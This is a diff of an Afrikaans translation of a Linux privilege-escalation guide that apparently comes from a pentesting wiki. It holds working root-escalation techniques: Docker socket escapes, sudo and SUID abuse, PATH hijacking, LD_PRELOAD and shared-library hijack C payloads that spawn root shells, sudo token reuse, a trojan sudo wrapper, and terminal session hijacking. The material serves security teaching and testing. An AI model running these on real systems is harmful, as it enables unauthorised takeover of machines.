As jy enige skryfbare sokkel **identifiseer** (_nou praat ons oor Unix-sokkels en nie oor die konfig `.socket`-lêers nie_), dan **kan jy kommunikeer** met daardie sokkel en miskien 'n kwesbaarheid uitbuit.
### Enumereer Unix-sokkels
```bash
@ -506,42 +506,42 @@ Merk op dat daar dalk **sokkels is wat luister vir HTTP** versoeke (_Ek praat ni
```bash
curl --max-time 2 --unix-socket /pat/to/socket/files http:/index
```
Indien die sokkie **reageer met 'n HTTP** versoek, kan jy met dit ** kommunikeer ** en miskien ** 'n kwesbaarheid uitbuit **.
Indien die sokkie **reageer met 'n HTTP** versoek, kan jy met dit **kommunikeer** en dalk **van 'n kwesbaarheid misbruik maak**.
### Skryfbare Docker Sokkie
Die Docker-sokkie, dikwels gevind by `/var/run/docker.sock`, is 'n kritieke lêer wat beveilig moet word. Standaard is dit skryfbaar deur die `root`-gebruiker en lede van die `docker`-groep. Om skryftoegang tot hierdie sokkie te hê, kan lei tot voorreg-escalasie. Hier is 'n uiteensetting van hoe dit gedoen kan word en alternatiewe metodes as die Docker CLI nie beskikbaar is nie.
Die Docker sokkie, dikwels gevind by `/var/run/docker.sock`, is 'n kritieke lêer wat beveilig moet word. Standaard is dit skryfbaar deur die `root` gebruiker en lede van die `docker` groep. Om skryftoegang tot hierdie sokkie te hê, kan lei tot voorreg-escalasie. Hier is 'n uiteensetting van hoe dit gedoen kan word en alternatiewe metodes as die Docker CLI nie beskikbaar is nie.
#### **Voorreg-escalasie met Docker CLI**
As jy skryftoegang tot die Docker-sokkie het, kan jy voorregte eskaleer deur die volgende opdragte te gebruik:
As jy skryftoegang tot die Docker sokkie het, kan jy voorregte opskerp deur die volgende opdragte te gebruik:
```bash
docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh
```
Hierdie bevele stel jou in staat om 'n houer uit te voer met wortelvlak toegang tot die lêersisteem van die gasheer.
Hierdie bevele stel jou in staat om 'n houer met wortelvlaktoegang tot die gasheer se lêersisteem uit te voer.
#### **Om die Docker API Direk te Gebruik**
In gevalle waar die Docker CLI nie beskikbaar is nie, kan die Docker sokket steeds gemanipuleer word deur die Docker API en `curl` bevele.
In gevalle waar die Docker CLI nie beskikbaar is nie, kan die Docker-socket steeds gemanipuleer word deur die Docker API en `curl`-bevele te gebruik.
1. **Lys Docker Beelde:** Haal die lys van beskikbare beelde op.
1. **Lys Docker-beelde:** Haal die lys van beskikbare beelde op.
```bash
curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json
```
2. **Skep 'n Houer:** Stuur 'n versoek om 'n houer te skep wat die gasheer se stelsel se hoofgids monteer.
2. **Skep 'n Houer:** Stuur 'n versoek om 'n houer te skep wat die gasheerstelsel se hoofgids aankoppel.
```bash
curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"<ImageID>","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create
```
Begin die nuutgeskepte houer:
Begin die nuut geskepte houer:
```bash
curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/<NewContainerID>/start
```
3. **Koppel aan die Houer:** Gebruik `socat` om 'n verbinding met die houer tot stand te bring, wat beveluitvoering binne-in dit moontlik maak.
3. **Koppel aan die Houer:** Gebruik `socat` om 'n verbinding met die houer tot stand te bring, wat die uitvoering van bevele daarin moontlik maak.
```bash
socat - UNIX-CONNECT:/var/run/docker.sock
@ -551,11 +551,11 @@ Connection: Upgrade
Upgrade: tcp
```
Nadat die `socat`-verbinding opgestel is, kan jy bevele direk in die houer uitvoer met wortelvlak toegang tot die gasheer se lêersisteem.
Nadat die `socat`-verbinding opgestel is, kan jy bevele direk in die houer uitvoer met wortelvlaktoegang tot die gasheer se lêersisteem.
### Ander
Let daarop dat as jy skryfregte oor die docker sokket het omdat jy **binne die groep `docker`** is, het jy [**meer maniere om voorregte te eskaleer**](interesting-groups-linux-pe/#docker-group). As die [**docker API luister op 'n poort** kan jy dit ook dalk kompromitteer](../../network-services-pentesting/2375-pentesting-docker.md#compromising).
Let daarop dat as jy skryfregte oor die docker-socket het omdat jy **binne die groep `docker`** is, het jy [**meer maniere om voorregte te eskaleer**](interesting-groups-linux-pe/#docker-group). As die [**docker API na 'n poort luister** kan jy dit ook dalk kompromitteer](../../network-services-pentesting/2375-pentesting-docker.md#compromising).
Kyk na **meer maniere om uit te breek uit docker of dit te misbruik om voorregte te eskaleer** in:
@ -581,13 +581,13 @@ As jy vind dat jy die **`runc`** bevel kan gebruik, lees die volgende bladsy aan
## **D-Bus**
D-Bus is 'n gesofistikeerde **Inter-Process Communication (IPC) stelsel** wat programme in staat stel om doeltreffend te interaksieer en data te deel. Ontwerp met die moderne Linux-stelsel in gedagte, bied dit 'n robuuste raamwerk vir verskillende vorme van program kommunikasie.
D-Bus is 'n gesofistikeerde **interproseskommunikasie (IPC)-sisteem** wat programme in staat stel om doeltreffend te interaksieer en data te deel. Ontwerp met die moderne Linux-sisteem in gedagte, bied dit 'n robuuste raamwerk vir verskillende vorme van programkommunikasie.
Die stelsel is veelsydig, ondersteun basiese IPC wat data-uitruil tussen prosesse verbeter, wat herinner aan **verbeterde UNIX-domein-sokkels**. Verder help dit om gebeure of seine uit te saai, wat naadlose integrasie tussen stelselkomponente bevorder. Byvoorbeeld, 'n sein van 'n Bluetooth-daemon oor 'n inkomende oproep kan 'n musiekspeler aanmoedig om te demp, wat die gebruikerservaring verbeter. Daarbenewens ondersteun D-Bus 'n afgeleë objekstelsel, wat diensversoeke en metode-aanroepings tussen programme vereenvoudig, wat prosesse wat tradisioneel kompleks was, stroomlyn.
Die stelsel is veelsydig en ondersteun basiese IPC wat data-uitruiling tussen prosesse verbeter, wat herinner aan **verbeterde UNIX-domeinsokkels**. Daarbenewens help dit om gebeure of seine uit te saai, wat naadlose integrasie tussen stelselkomponente bevorder. Byvoorbeeld, 'n sein van 'n Bluetooth-daemon oor 'n inkomende oproep kan 'n musiekspeler laat stil word, wat die gebruikerservaring verbeter. Daarbenewens ondersteun D-Bus 'n afgeleë objeksisteem, wat diensversoeke en metode-aanroepings tussen programme vereenvoudig, wat prosesse wat tradisioneel kompleks was, stroomlyn.
D-Bus werk op 'n **toelaat/weier model**, wat boodskappermissies (metode-oproepe, seinemissies, ens.) bestuur op grond van die kumulatiewe effek van ooreenstemmende beleidreëls. Hierdie beleide spesifiseer interaksies met die bus, wat moontlik voorregte-escalasie deur die uitbuiting van hierdie toestemmings toelaat.
D-Bus werk op 'n **toelaat/weier-model**, wat boodskappermissies (metode-oproepe, seinemissies, ens.) bestuur op grond van die kumulatiewe effek van ooreenstemmende beleidreëls. Hierdie beleide spesifiseer interaksies met die bus en kan moontlik voorregte-escalasie toelaat deur die uitbuiting van hierdie toestemmings.
'n Voorbeeld van so 'n beleid in `/etc/dbus-1/system.d/wpa_supplicant.conf` word verskaf, wat toestemmings vir die root-gebruiker om besit te hê, na, en boodskappe te ontvang van `fi.w1.wpa_supplicant1`.
'n Voorbeeld van so 'n beleid in `/etc/dbus-1/system.d/wpa_supplicant.conf` word verskaf, wat toestemmings vir die root-gebruiker om besit te hê, na te stuur en boodskappe te ontvang van `fi.w1.wpa_supplicant1` beskryf.
Beleide sonder 'n gespesifiseerde gebruiker of groep geld universeel, terwyl "standaard" konteksbeleide van toepassing is op almal wat nie deur ander spesifieke beleide gedek word nie.
```xml
@ -606,7 +606,7 @@ Beleide sonder 'n gespesifiseerde gebruiker of groep geld universeel, terwyl "st
## **Netwerk**
Dit is altyd interessant om die netwerk te ontleed en uit te vind waar die masjien geleë is.
Dit is altyd interessant om die netwerk te ontleed en die posisie van die masjien uit te vind.
### Generiese ontleding
```bash
@ -640,15 +640,15 @@ Bevestig altyd netwerkdienste wat op die masjien loop wat jy nie kon interaksie
```
### Sniffing
Kyk of jy verkeer kan afluister. As jy kan, kan jy moontlik sekere geloofsbriewe vasvang.
Kyk of jy verkeer kan afluister. As jy dit kan doen, kan jy moontlik sekere geloofsbriewe vasvang.
```
timeout 1 tcpdump
```
## Gebruikers
### Generiese Opstel
### Generiese Opname
Kontroleer **wie** jy is, watter **bevoegdhede** jy het, watter **gebruikers** in die stelsels is, wie kan **aanmeld** en wie het **root-bevoegdhede:**
Kyk **wie** jy is, watter **voorregte** jy het, watter **gebruikers** in die stelsels is, wie kan **aanmeld** en wie het **root-voorregte:**
```bash
#Info about me
id || (whoami && groups) 2>/dev/null
@ -706,14 +706,14 @@ Indien jy **enige wagwoord** van die omgewing **ken, probeer om in te teken as e
### Su Brute
Indien jy nie omgee om baie geraas te maak nie en `su` en `timeout` bineêre lêers op die rekenaar teenwoordig is, kan jy probeer om 'n gebruiker te krag met [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\
Indien jy nie omgee om baie geraas te maak nie en die `su` en `timeout` binêre lêers is teenwoordig op die rekenaar, kan jy probeer om 'n gebruiker te krag met [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\
[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) met die `-a` parameter probeer ook om gebruikers te krag.
## Skryfbare PATH-misbruik
### $PATH
Indien jy vind dat jy **binne 'n paar van die $PATH se lêers kan skryf**, kan jy bevoorregtinge eskaleer deur **'n agterdeur binne die skryfbare lêer** te skep met die naam van 'n bevel wat deur 'n ander gebruiker (idealiter root) uitgevoer gaan word en wat **nie gelaai word van 'n lêer wat voorafgaan** aan jou skryfbare lêer in $PATH nie.
Indien jy vind dat jy kan **skryf binne 'n paar van die $PATH se lêers**, kan jy bevoorregtinge eskaleer deur **'n agterdeur te skep binne die skryfbare lêer** met die naam van 'n bevel wat uitgevoer gaan word deur 'n ander gebruiker (idealiter root) en wat **nie gelaai word van 'n lêer wat vooraf geleë is** aan jou skryfbare lêer in $PATH.
### SUDO en SUID
@ -733,13 +733,13 @@ less>! <shell_comand>
```
### GEENWAGWOORD
Sudo-konfigurasie mag 'n gebruiker toelaat om 'n bepaalde bevel uit te voer met 'n ander gebruiker se regte sonder om die wagwoord te weet.
Sudo-konfigurasie mag 'n gebruiker toelaat om 'n sekere bevel uit te voer met 'n ander gebruiker se regte sonder om die wagwoord te weet.
```
$ sudo -l
User demo may run the following commands on crashlab:
(root) NOPASSWD: /usr/bin/vim
```
In hierdie voorbeeld kan die gebruiker `demo` `vim` as `root` hardloop, dit is nou maklik om 'n skaal te kry deur 'n ssh-sleutel by die root-gids te voeg of deur `sh` te roep.
In hierdie voorbeeld kan die gebruiker `demo` `vim` as `root` hardloop, dit is nou triviaal om 'n skaal te kry deur 'n ssh-sleutel by die root-gids te voeg of deur `sh` te roep.
```
sudo vim -c '!sh'
```
@ -776,35 +776,35 @@ sudo less /var/log/something /etc/shadow #Red 2 files
### Sudo-opdrag/SUID-binêre sonder opdragpad
As die **sudo-toestemming** gegee word aan 'n enkele opdrag **sonder om die pad te spesifiseer**: _hacker10 ALL= (root) less_ kan jy dit uitbuit deur die PAD-veranderlike te verander
As die **sudo-toestemming** gegee word aan 'n enkele opdrag **sonder om die pad te spesifiseer**: _hacker10 ALLES= (root) minder_ kan jy dit uitbuit deur die PAD-veranderlike te verander
```bash
export PATH=/tmp:$PATH
#Put your backdoor in /tmp and name it "less"
sudo less
```
Hierdie tegniek kan ook gebruik word as 'n **suid** binêre lêer 'n ander opdrag **uitvoer sonder om die pad daarna te spesifiseer (kontroleer altyd met** _**strings**_ **die inhoud van 'n vreemde SUID-binêre lêer)**.
Hierdie tegniek kan ook gebruik word as 'n **suid** binêre lêer 'n ander opdrag **uitvoer sonder om die pad daarna te spesifiseer (kontroleer altyd met** _**strings**_ **die inhoud van 'n vreemde SUID binêre lêer)**.
[Voorbeeld van payloads om uit te voer.](payloads-to-execute.md)
[Voorbeeld van vragte om uit te voer.](payloads-to-execute.md)
### SUID-binêre lêer met opdragpad
### SUID binêre lêer met opdragpad
As die **suid** binêre lêer 'n ander opdrag **uitvoer deur die pad te spesifiseer**, dan kan jy probeer om 'n **funksie uit te voer** wat genoem word na die opdrag wat die suid-lêer aanroep.
As die **suid** binêre lêer 'n ander opdrag **uitvoer deur die pad te spesifiseer**, dan kan jy probeer om 'n **funksie uit te voer** wat genoem word soos die opdrag wat die suid-lêer aanroep.
Byvoorbeeld, as 'n suid-binêre lêer _**/usr/sbin/service apache2 start**_ aanroep, moet jy probeer om die funksie te skep en dit uit te voer:
Byvoorbeeld, as 'n suid binêre lêer _**/usr/sbin/service apache2 start**_ aanroep, moet jy probeer om die funksie te skep en dit uit te voer:
```bash
function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
export -f /usr/sbin/service
```
### LD\_PRELOAD & **LD\_LIBRARY\_PATH**
Die **LD\_PRELOAD**-omgewingsveranderlike word gebruik om een of meer gedeelde biblioteke (.so-lêers) te spesifiseer wat deur die lêer gelaai moet word voordat alle ander, insluitend die standaard C-bibliotheek (`libc.so`). Hierdie proses staan bekend as die vooraf laai van 'n biblioteek.
Die **LD\_PRELOAD**-omgewingsveranderlike word gebruik om een of meer gedeelde biblioteke (.so-lêers) te spesifiseer wat deur die lader voor alle ander biblioteke, insluitend die standaard C-bibliotheek (`libc.so`), gelaai moet word. Hierdie proses staan bekend as die vooraf-lading van 'n biblioteek.
Tog, om stelselsekerheid te handhaaf en te voorkom dat hierdie funksie uitgebuit word, veral met **suid/sgid** uitvoerbare lêers, dwing die stelsel sekere voorwaardes af:
Tog, om stelselsekuriteit te handhaaf en te voorkom dat hierdie funksie uitgebuit word, veral met **suid/sgid** uitvoerbare lêers, dwing die stelsel sekere voorwaardes af:
- Die lêer ignoreer **LD\_PRELOAD** vir uitvoerbare lêers waar die werklike gebruikers-ID (_ruid_) nie ooreenstem met die effektiewe gebruikers-ID (_euid_).
- Die lader ignoreer **LD\_PRELOAD** vir uitvoerbare lêers waar die werklike gebruikers-ID (_ruid_) nie ooreenstem met die effektiewe gebruikers-ID (_euid_).
- Vir uitvoerbare lêers met suid/sgid word slegs biblioteke in standaardpaaie wat ook suid/sgid is, voorafgelaai.
Privilege-escalation kan plaasvind as jy die vermoë het om opdragte met `sudo` uit te voer en die uitset van `sudo -l` die verklaring **env\_keep+=LD\_PRELOAD** insluit. Hierdie konfigurasie laat toe dat die **LD\_PRELOAD**-omgewingsveranderlike volhou en herken word selfs wanneer opdragte met `sudo` uitgevoer word, wat moontlik kan lei tot die uitvoering van willekeurige kode met verhoogde regte.
Privilege-escalation kan plaasvind as jy die vermoë het om opdragte met `sudo` uit te voer en die uitset van `sudo -l` die verklaring **env\_keep+=LD\_PRELOAD** insluit. Hierdie konfigurasie laat toe dat die **LD\_PRELOAD**-omgewingsveranderlike volhou en herken word selfs wanneer opdragte met `sudo` uitgevoer word, wat moontlik tot die uitvoering van willekeurige kode met verhoogde regte kan lei.
```
Defaults env_keep += LD_PRELOAD
```
@ -821,7 +821,7 @@ setuid(0);
system("/bin/bash");
}
```
Voer dit dan **saamstel** met behulp van:
Voer dit dan **kompileer** met:
```bash
cd /tmp
gcc -fPIC -shared -o pe.so pe.c -nostartfiles
@ -831,7 +831,7 @@ Uiteindelik, **privileges verhoog** hardloop
sudo LD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo
```
{% hint style="danger" %}
'n Soortgelyke privesc kan misbruik word as die aanvaller beheer oor die **LD\_LIBRARY\_PATH** omgewingsveranderlike omdat hy beheer oor die pad waar biblioteke gaan gesoek word.
'n Soortgelyke privesc kan misbruik word as die aanvaller beheer oor die **LD\_LIBRARY\_PATH** omgewingsveranderlike omdat hy die pad beheer waar biblioteke gaan gesoek word.
{% endhint %}
```c
#include <stdio.h>
@ -854,7 +854,7 @@ sudo LD_LIBRARY_PATH=/tmp <COMMAND>
```
### SUID-binêre lêer - .so inspuiting
Wanneer 'n binêre lêer met **SUID**-permissies wat ongewoon lyk, dit raadsaam is om te verifieer of dit **.so** lêers behoorlik laai. Dit kan nagegaan word deur die volgende bevel uit te voer:
Wanneer 'n binêre lêer met **SUID**-permissies wat ongewoon lyk, gevind word, is dit 'n goeie praktyk om te verifieer of dit **.so** lêers behoorlik laai. Dit kan nagegaan word deur die volgende bevel uit te voer:
```bash
strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"
```
@ -871,13 +871,13 @@ void inject(){
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}
```
Hierdie kode, eens saamgestel en uitgevoer, het as doel om voorregte te verhoog deur lêertoestemmings te manipuleer en 'n skaal met verhoogde voorregte uit te voer.
Hierdie kode, eens saamgestel en uitgevoer, het as doel om voorregte te verhoog deur lêerregte te manipuleer en 'n skaal met verhoogde voorregte uit te voer.
Stel die bogenoemde C-lêer saam in 'n gedeelde voorwerp (.so) lêer met:
```bash
gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c
```
Uiteindelik, die hardloop van die geaffekteerde SUID-binêre lêer behoort die uitbuiting te aktiveer, wat moontlike sisteemkompromieë moontlik maak.
Uiteindelik, die hardloop van die geaffekteerde SUID-binêre lêer behoort die uitbuiting te aktiveer, wat kan lei tot potensiële sisteemkompromittering.
## Gedeelde Voorwerp Kaping
```bash
@ -889,7 +889,7 @@ something.so => /lib/x86_64-linux-gnu/something.so
readelf -d payroll | grep PATH
0x000000000000001d (RUNPATH) Library runpath: [/development]
```
Nou dat ons 'n SUID-binêre lêer gevind het wat 'n biblioteek laai van 'n vouer waar ons kan skryf, laat ons die biblioteek in daardie vouer skep met die nodige naam:
Nou dat ons 'n SUID-binêre lading gevind het wat 'n biblioteek laai van 'n vouer waarin ons kan skryf, laat ons die biblioteek in daardie vouer skep met die nodige naam:
```c
//gcc src.c -fPIC -shared -o /development/libshared.so
#include <stdio.h>
@ -902,7 +902,7 @@ setresuid(0,0,0);
system("/bin/bash -p");
}
```
Indien jy 'n fout soos dit ontvang
Indien jy 'n fout soos dit kry
```shell-session
./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name
```
@ -910,7 +910,7 @@ Dit beteken dat die biblioteek wat jy gegenereer het 'n funksie genaamd `a_funct
### GTFOBins
[**GTFOBins**](https://gtfobins.github.io) is 'n saamgestelde lys van Unix-binêre lêers wat deur 'n aanvaller uitgebuit kan word om plaaslike sekuriteitsbeperkings te omseil. [**GTFOArgs**](https://gtfoargs.github.io/) is dieselfde, maar vir gevalle waar jy **slegs argumente kan invoeg** in 'n opdrag.
[**GTFOBins**](https://gtfobins.github.io) is 'n saamgestelde lys van Unix-binêre lêers wat deur 'n aanvaller uitgebuit kan word om plaaslike sekuriteitsbeperkings te omseil. [**GTFOArgs**](https://gtfoargs.github.io/) is dieselfde, maar vir gevalle waar jy **slegs argumente kan inspuit** in 'n opdrag.
Die projek versamel legitieme funksies van Unix-binêre lêers wat misbruik kan word om uit beperkte skulpe te breek, voorregte te eskaleer of te handhaaf, lêers oor te dra, bind- en omgekeerde skulpe te skep, en ander ná-uitbuitingstake te fasiliteer.
@ -925,11 +925,11 @@ Die projek versamel legitieme funksies van Unix-binêre lêers wat misbruik kan
### FallOfSudo
As jy `sudo -l` kan toegang, kan jy die instrument [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) gebruik om te kyk of dit enige sudo-reël kan uitbuit.
As jy toegang het tot `sudo -l` kan jy die instrument [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) gebruik om te kyk of dit enige sudo-reël kan uitbuit.
### Hergebruik van Sudo Tokens
### Hergebruik van Sudo-Token
In gevalle waar jy **sudo-toegang** het, maar nie die wagwoord nie, kan jy voorregte eskaleer deur **te wag vir 'n sudo-opdraguitvoering en dan die sessietoken te kaap**.
In gevalle waar jy **sudo-toegang** het maar nie die wagwoord nie, kan jy voorregte eskaleer deur **te wag vir 'n sudo-opdraguitvoering en dan die sessietoken te kaap**.
Vereistes vir die eskalering van voorregte:
@ -960,7 +960,7 @@ sudo su
```
### /var/run/sudo/ts/\<Gebruikersnaam>
Indien jy **skryfregte** in die folder het of op enige van die geskepte lêers binne die folder, kan jy die bineêre [**write\_sudo\_token**](https://github.com/nongiach/sudo\_inject/tree/master/extra\_tools) gebruik om **'n sudo-teken vir 'n gebruiker en PID te skep**.\
Indien jy **skryfregte** in die gids het of op enige van die geskepte lêers binne die gids, kan jy die binêre [**write\_sudo\_token**](https://github.com/nongiach/sudo\_inject/tree/master/extra\_tools) gebruik om **'n sudo-teken vir 'n gebruiker en PID te skep**.\
Byvoorbeeld, as jy die lêer _/var/run/sudo/ts/sampleuser_ kan oorskryf en jy het 'n skaal as daardie gebruiker met PID 1234, kan jy **sudo-voorregte verkry** sonder om die wagwoord te weet deur die volgende te doen:
```bash
./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser
@ -987,17 +987,17 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win
```
### DOAS
Daar is alternatiewe vir die `sudo` binêre lêer soos `doas` vir OpenBSD, onthou om sy konfigurasie by `/etc/doas.conf` te kontroleer.
Daar is alternatiewe vir die `sudo` binêre lêer soos `doas` vir OpenBSD, onthou om sy konfigurasie by `/etc/doas.conf` te kontroleer
```
permit nopass demo as root cmd vim
```
### Sudo Oorheersing
As jy weet dat 'n **gebruiker gewoonlik met 'n masjien verbind en `sudo` gebruik** om voorregte te eskaleer en jy het 'n skaal binne daardie gebruiker konteks, kan jy **'n nuwe sudo uitvoerbare lêer skep** wat jou kode as root sal uitvoer en dan die gebruiker se bevel. Dan, **verander die $PATH** van die gebruiker konteks (byvoorbeeld deur die nuwe pad in .bash\_profile by te voeg) sodat wanneer die gebruiker sudo uitvoer, jou sudo uitvoerbare lêer uitgevoer word.
Indien jy weet dat 'n **gebruiker gewoonlik met 'n masjien verbind en `sudo` gebruik** om voorregte te verhoog en jy het 'n skaal binne daardie gebruikerskonteks, kan jy **'n nuwe sudo uitvoerbare lêer skep** wat jou kode as 'n root uitvoer en dan die gebruiker se bevel. Dan, **verander die $PATH** van die gebruikerskonteks (byvoorbeeld deur die nuwe pad in .bash\_profile by te voeg) sodat wanneer die gebruiker sudo uitvoer, jou sudo uitvoerbare lêer uitgevoer word.
Let daarop dat as die gebruiker 'n ander skaal gebruik (nie bash nie) sal jy ander lêers moet wysig om die nuwe pad by te voeg. Byvoorbeeld [sudo-piggyback](https://github.com/APTy/sudo-piggyback) wysig `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Jy kan 'n ander voorbeeld vind in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire\_modules/bashdoor.py)
Let daarop dat as die gebruiker 'n ander skaal gebruik (nie bash nie) jy ander lêers moet wysig om die nuwe pad by te voeg. Byvoorbeeld [sudo-piggyback](https://github.com/APTy/sudo-piggyback) wysig `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Jy kan 'n ander voorbeeld vind in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire\_modules/bashdoor.py)
Of voer iets soos die volgende uit:
Of voer iets soos uit:
```bash
cat >/tmp/sudo <<EOF
#!/bin/bash
@ -1018,10 +1018,10 @@ sudo ls
Die lêer `/etc/ld.so.conf` dui aan **waar die gelaai konfigurasie lêers vandaan kom**. Tipies bevat hierdie lêer die volgende pad: `include /etc/ld.so.conf.d/*.conf`
Dit beteken dat die konfigurasie lêers vanaf `/etc/ld.so.conf.d/*.conf` gelees sal word. Hierdie konfigurasie lêers **verwys na ander vouers** waar **biblioteke** gesoek gaan word. Byvoorbeeld, die inhoud van `/etc/ld.so.conf.d/libc.conf` is `/usr/local/lib`. **Dit beteken dat die stelsel vir biblioteke binne `/usr/local/lib` sal soek**.
Dit beteken dat die konfigurasie lêers vanaf `/etc/ld.so.conf.d/*.conf` gelees sal word. Hierdie konfigurasie lêers **verwys na ander folders** waar **biblioteke** gesoek gaan word. Byvoorbeeld, die inhoud van `/etc/ld.so.conf.d/libc.conf` is `/usr/local/lib`. **Dit beteken dat die stelsel vir biblioteke binne `/usr/local/lib` sal soek**.
Indien **'n gebruiker om enige rede skryfregte het** op enige van die aangeduide paaie: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, enige lêer binne `/etc/ld.so.conf.d/` of enige vouer binne die konfigurasie lêer binne `/etc/ld.so.conf.d/*.conf` mag hy in staat wees om voorregte te eskaleer.\
Neem 'n kyk na **hoe om hierdie wanopset uit te buit** op die volgende bladsy:
Indien **'n gebruiker om enige rede skryfregte het** op enige van die aangeduide paaie: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, enige lêer binne `/etc/ld.so.conf.d/` of enige folder binne die konfigurasie lêer binne `/etc/ld.so.conf.d/*.conf` mag hy in staat wees om voorregte te eskaleer.\
Neem 'n kyk na **hoe om hierdie wanopset te misbruik** op die volgende bladsy:
{% content-ref url="ld.so.conf-example.md" %}
[ld.so.conf-example.md](ld.so.conf-example.md)
@ -1072,7 +1072,7 @@ Lees die volgende bladsy om **meer te leer oor bevoegdhede en hoe om dit te misb
## Gidsbevoegdhede
In 'n gids dui die **bit vir "uitvoer"** aan dat die betrokke gebruiker in die gids kan "**cd**".\
Die **"lees"** bit dui aan dat die gebruiker die **lêerlys** kan **sien**, en die **"skryf"** bit dui aan dat die gebruiker **lêers** kan **verwyder** en **nuwe** **lêers** kan **skep**.
Die **"lees"** bit dui aan dat die gebruiker die **lêerlys** kan **sien**, en die **"skryf"** bit dui aan dat die gebruiker **lêers** kan **verwyder** en **nuwe lêers** kan **skep**.
## ACL's
@ -1091,11 +1091,11 @@ getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null
```
## Maak skul sesies oop
In **ou weergawes** kan jy dalk 'n paar **skul** sessies van 'n ander gebruiker (**root**) **kap**.\
In **nuutste weergawes** sal jy slegs in staat wees om aan **skerm sessies** van **jou eie gebruiker** te **koppel**. Nietemin, jy kan **interessante inligting binne die sessie** vind.
In **ou weergawes** kan jy dalk 'n paar **skul**-sesies van 'n ander gebruiker (**root**) **kap**.\
In **nuutste weergawes** sal jy slegs in staat wees om aan **skerm-sessies** van **jou eie gebruiker** te **koppel**. Nietemin, jy kan **interessante inligting binne die sessie** vind.
### skerm sessies kap
**Lys skerm sessies**
### Skerm-sessies kap
**Lys skerm-sessies**
```bash
screen -ls
screen -ls <username>/ # Show another user' screen sessions
@ -1108,11 +1108,11 @@ screen -dr <session> #The -d is to detach whoever is attached to it
screen -dr 3350.foo #In the example of the image
screen -x [user]/[session id]
```
## tmux sessies kaping
## tmux-sessies kaping
Dit was 'n probleem met **ou tmux weergawes**. Ek was nie in staat om 'n tmux (v2.1) sessie wat deur root geskep is, te kaap as 'n nie-bevoorregte gebruiker.
Dit was 'n probleem met **ou tmux-weergawes**. Ek kon nie 'n tmux (v2.1) sessie wat deur root geskep is, kaap as 'n nie-bevoorregte gebruiker nie.
**Lys tmux sessies**
**Lys tmux-sessies**
```bash
tmux ls
ps aux | grep tmux #Search for tmux consoles not using default folder for sockets
@ -1120,7 +1120,7 @@ tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session i
```
![](<../../.gitbook/assets/image (837).png>)
**Heg aan 'n sessie**
**Heg tot 'n sessie**
```bash
tmux attach -t myname #If you write something in this session it will appears in the other opened one
tmux attach -d -t myname #First detach the session from the other console and then access it yourself
@ -1137,26 +1137,26 @@ Kyk na **Valentine-boks van HTB** vir 'n voorbeeld.
### Debian OpenSSL Voorspelbare PRNG - CVE-2008-0166
Alle SSL- en SSH-sleutels wat gegenereer is op Debian-gebaseerde stelsels (Ubuntu, Kubuntu, ens.) tussen September 2006 en 13 Mei 2008 kan deur hierdie fout geraak word.\
Hierdie fout word veroorsaak wanneer 'n nuwe ssh-sleutel in daardie OS geskep word, aangesien **slegs 32,768 variasies moontlik was**. Dit beteken dat al die moontlikhede bereken kan word en **met die ssh openbare sleutel kan jy soek na die ooreenstemmende privaatsleutel**. Jy kan die berekende moontlikhede hier vind: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
Hierdie fout word veroorsaak wanneer 'n nuwe ssh-sleutel in daardie OS geskep word, aangesien **slegs 32,768 variasies moontlik was**. Dit beteken dat al die moontlikhede bereken kan word en **deur die ssh openbare sleutel te hê, kan jy soek na die ooreenstemmende privaatsleutel**. Jy kan die berekende moontlikhede hier vind: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
### SSH Interessante konfigurasiewaardes
* **PasswordAuthentication:** Specifiseer of wagwoordverifikasie toegelaat is. Die verstek is `nee`.
* **PubkeyAuthentication:** Specifiseer of openbare sleutelverifikasie toegelaat is. Die verstek is `ja`.
* **PermitEmptyPasswords**: Wanneer wagwoordverifikasie toegelaat is, spesifiseer dit of die bediener toegang tot rekeninge met leë wagwoorde toelaat. Die verstek is `nee`.
* **PasswordAuthentication:** Specifiseer of wagwoordverifikasie toegelaat word. Die verstek is `no`.
* **PubkeyAuthentication:** Specifiseer of openbare sleutelverifikasie toegelaat word. Die verstek is `yes`.
* **PermitEmptyPasswords**: Wanneer wagwoordverifikasie toegelaat word, spesifiseer dit of die bediener toegang tot rekeninge met leë wagwoordsnare toelaat. Die verstek is `no`.
### PermitRootLogin
Spesifiseer of root kan inlog met ssh, verstek is `nee`. Moontlike waardes:
Spesifiseer of root kan inlog met ssh, verstek is `no`. Moontlike waardes:
* `ja`: root kan inlog met wagwoord en privaatsleutel
* `sonder-wagwoord` of `verbied-wagwoord`: root kan slegs inlog met 'n privaatsleutel
